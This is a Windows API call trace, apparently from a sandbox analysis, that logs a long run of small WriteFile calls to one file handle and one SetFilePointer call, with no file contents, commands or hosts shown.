[0211.421] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0211.521] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0211.863] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0211.940] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0211.957] WriteFile (in: hFile=0x520, lpBuffer=0x268c010*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c010*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0211.972] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0211.988] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0212.026] WriteFile (in: hFile=0x520, lpBuffer=0x268bf08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bf08*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0212.247] SetFilePointer (in: hFile=0x520, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x9b05b
[0212.263] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0212.626] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0212.939] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0213.286] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0213.658] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0213.795] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0213.830] WriteFile (in: hFile=0x520, lpBuffer=0x268c010*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c010*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0213.845] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0214.060] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0214.244] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0214.582] WriteFile (in: hFile=0x520, lpBuffer=0x268c010*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c010*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0214.806] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0214.827] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0214.869] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0214.892] WriteFile (in: hFile=0x520, lpBuffer=0x268c010*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c010*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0214.911] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0215.095] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0215.502] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0215.984] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0216.176] WriteFile (in: hFile=0x520, lpBuffer=0x268c010*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c010*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0216.374] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0216.722] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0216.786] WriteFile (in: hFile=0x520, lpBuffer=0x268bf40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bf40*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0217.000] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0217.357] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0217.540] WriteFile (in: hFile=0x520, lpBuffer=0x268c010*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c010*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0217.901] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0217.924] WriteFile (in: hFile=0x520, lpBuffer=0x266f5d8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266f5d8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0217.976] WriteFile (in: hFile=0x520, lpBuffer=0x266f4c0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266f4c0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0218.189] WriteFile (in: hFile=0x520, lpBuffer=0x2671d78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2671d78*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0218.630] WriteFile (in: hFile=0x520, lpBuffer=0x2673058*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2673058*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0218.782] WriteFile (in: hFile=0x520, lpBuffer=0x2675918*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2675918*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0218.981] WriteFile (in: hFile=0x520, lpBuffer=0x2676bf0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2676bf0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0219.241] WriteFile (in: hFile=0x520, lpBuffer=0x26794a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26794a8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0219.513] WriteFile (in: hFile=0x520, lpBuffer=0x267a788*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267a788*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0219.730] WriteFile (in: hFile=0x520, lpBuffer=0x267d048*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267d048*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0219.960] WriteFile (in: hFile=0x520, lpBuffer=0x267eea8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267eea8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0220.260] WriteFile (in: hFile=0x520, lpBuffer=0x2681760*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2681760*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0220.572] WriteFile (in: hFile=0x520, lpBuffer=0x2682a40*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2682a40*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0220.873] WriteFile (in: hFile=0x520, lpBuffer=0x2685300*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2685300*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0221.451] WriteFile (in: hFile=0x520, lpBuffer=0x26870f8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26870f8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0222.017] WriteFile (in: hFile=0x520, lpBuffer=0x2688f58*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2688f58*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0222.337] WriteFile (in: hFile=0x520, lpBuffer=0x268b810*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268b810*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0222.645] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0222.881] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0223.171] WriteFile (in: hFile=0x520, lpBuffer=0x268cb30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cb30*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0223.331] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0223.462] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0223.788] WriteFile (in: hFile=0x520, lpBuffer=0x268cc00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc00*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0223.948] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0224.032] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0224.080] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0224.187] WriteFile (in: hFile=0x520, lpBuffer=0x268cc00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc00*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0224.285] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0224.503] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0224.611] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0224.691] WriteFile (in: hFile=0x520, lpBuffer=0x268cc00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc00*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0224.713] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0224.870] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0224.999] WriteFile (in: hFile=0x520, lpBuffer=0x268cc00*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc00*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0225.099] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0225.160] WriteFile (in: hFile=0x520, lpBuffer=0x268cc00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc00*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0225.292] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0225.399] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0225.544] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0225.616] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0225.678] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0225.697] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0225.949] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0226.183] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0226.699] WriteFile (in: hFile=0x520, lpBuffer=0x268cc00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc00*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0226.775] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0226.868] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0226.991] WriteFile (in: hFile=0x520, lpBuffer=0x268cb50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cb50*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0227.046] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0227.154] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0227.214] WriteFile (in: hFile=0x520, lpBuffer=0x268cc00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc00*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0227.292] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0227.424] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0227.552] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0227.590] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0227.663] WriteFile (in: hFile=0x520, lpBuffer=0x268cad8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cad8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0227.702] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0227.785] WriteFile (in: hFile=0x520, lpBuffer=0x268cc08*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268cc08*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0227.990] WriteFile (in: hFile=0x520, lpBuffer=0x266f4a8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266f4a8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0228.042] WriteFile (in: hFile=0x520, lpBuffer=0x266f5e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266f5e8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0228.188] WriteFile (in: hFile=0x520, lpBuffer=0x26708c8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26708c8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0228.290] WriteFile (in: hFile=0x520, lpBuffer=0x2673188*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2673188*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0228.794] WriteFile (in: hFile=0x520, lpBuffer=0x2675040*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2675040*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
